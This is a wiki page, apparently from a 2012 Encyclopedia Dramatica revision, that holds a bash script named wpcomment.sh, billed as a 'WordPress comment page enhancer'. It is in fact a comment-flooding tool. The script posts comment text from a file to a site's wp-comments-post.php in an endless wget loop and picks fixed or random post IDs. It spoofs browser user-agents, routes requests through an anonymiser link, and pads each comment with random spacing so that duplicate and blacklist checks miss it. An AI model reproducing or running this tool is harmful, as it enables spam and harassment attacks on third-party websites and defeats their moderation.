- Portals
- The Current Year
- ED in the News
- Admins
- Help ED Rebuild
- Archive
- ED Bookmarklet
- Donate Bitcoin
Contact an admin on Discord or EDF if you want an account. Also fuck bots.
Wpcomment.sh/code: Difference between revisions
Jump to navigation
Jump to search
imported>Andrés Protected "Wpcomment.sh/code": wow not leaving code unprotected for everyone ([edit=sysop] (indefinite) [move=sysop] (indefinite)) |
imported>Andrés Protected "Wpcomment.sh/code": wow not leaving code unprotected for everyone ([edit=sysop] (indefinite) [move=sysop] (indefinite)) |
(2 intermediate revisions by the same user not shown) | |
(No difference)
|
Latest revision as of 00:00, 21 November 2012
#!/bin/bash # WordPress comment page enhancer # Usage: ./wpcomment.sh comment_file.txt author email website target/maximum post_ID user-agent http://anonym.to/http://full.path.to/wp-comments-post.php #Some user-agents: # Chrome: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 # Firefox: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 # Internet Explorer: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) # Opera: Opera/9.25 (Windows NT 6.0; U; en) #WORDPRESS COMMENT BLACKLISTING METHODS: # 'Hold a comment in the queue if it contains # or more links. (A common characteristic of comment spam is a large number of hyperlinks.)' # 'When a comment contains any of these [admin defined] words in its content, name, URL, e-mail, or IP, it will be (marked as spam/held in the moderation queue). # One word or IP per line. It will match inside words, so "press" will match "WordPress".' if [ -z "$1" ] then echo "Usage: comment_file.txt author email website target/maximum post_ID user-agent http://anonym.to/http://full.path.to/wp-comments-post.php" exit fi function postdelay { let "rsleep = (($RANDOM+1)%10)+20" back="" space="" for ((i=0; i < $rsleep; i++)) do sleep 1 echo -n "." back+="\b" space+=" " done echo -n -e "$back$space$back" } function randspace { rndspace="" for ((i = 0; i < 4; i++)) do let "num = $RANDOM % 256" rndspace+=$((echo "obase=2; $num"|bc)|sed 's/0/\%26nbsp%3B/g; s/1/ /g') done } #Read text file for comment, put %0d%0a for newlines while read line do #A & will screw with post data #Add more escaping if necessary comment+=$(echo "$line%0d%0a"|sed 's/\&/%26/g; s/\;/%3B/g') done < $1 #Target post ID if [ $5 == "target" ] then #One target post_id=$6 echo "Using post $6 as target" elif [ $5 == "maximum" ] then #Random target echo "Using random post IDs as targets" else echo "Set target or maximum for the fifth argument! (case sensitive) You set $5" exit fi #echo "Author: $2" #echo "Email: $3" #echo "Website: $4" #echo "Comment from: $1" #echo "Posting to $8" #Loop for posting while ((1)) do if [ $5 == "maximum" ] then let "post_id = ($RANDOM+1)%(($6))" fi #Generate new random content randspace #Post comment result=$(wget -q --ignore-length --wait=1 --random-wait --user-agent "$7" -O - --post-data "author=$2&email=$3&url=$4&comment=$comment%0d%0a$rndspace&submit=Submit+Comment&comment_post_ID=$post_id" "$8") #grep for error page (You are posting too quickly/Duplicate comment deleted) echeck=$(echo $result|grep '<body id="error-page">') if [ -z "$result" ] then #No response postdelay elif [ -z "$echeck" ] then #Response with no errors let "posts += 1" echo -n -e "\rPost #$posts" else #Response with error postdelay fi #End post loop done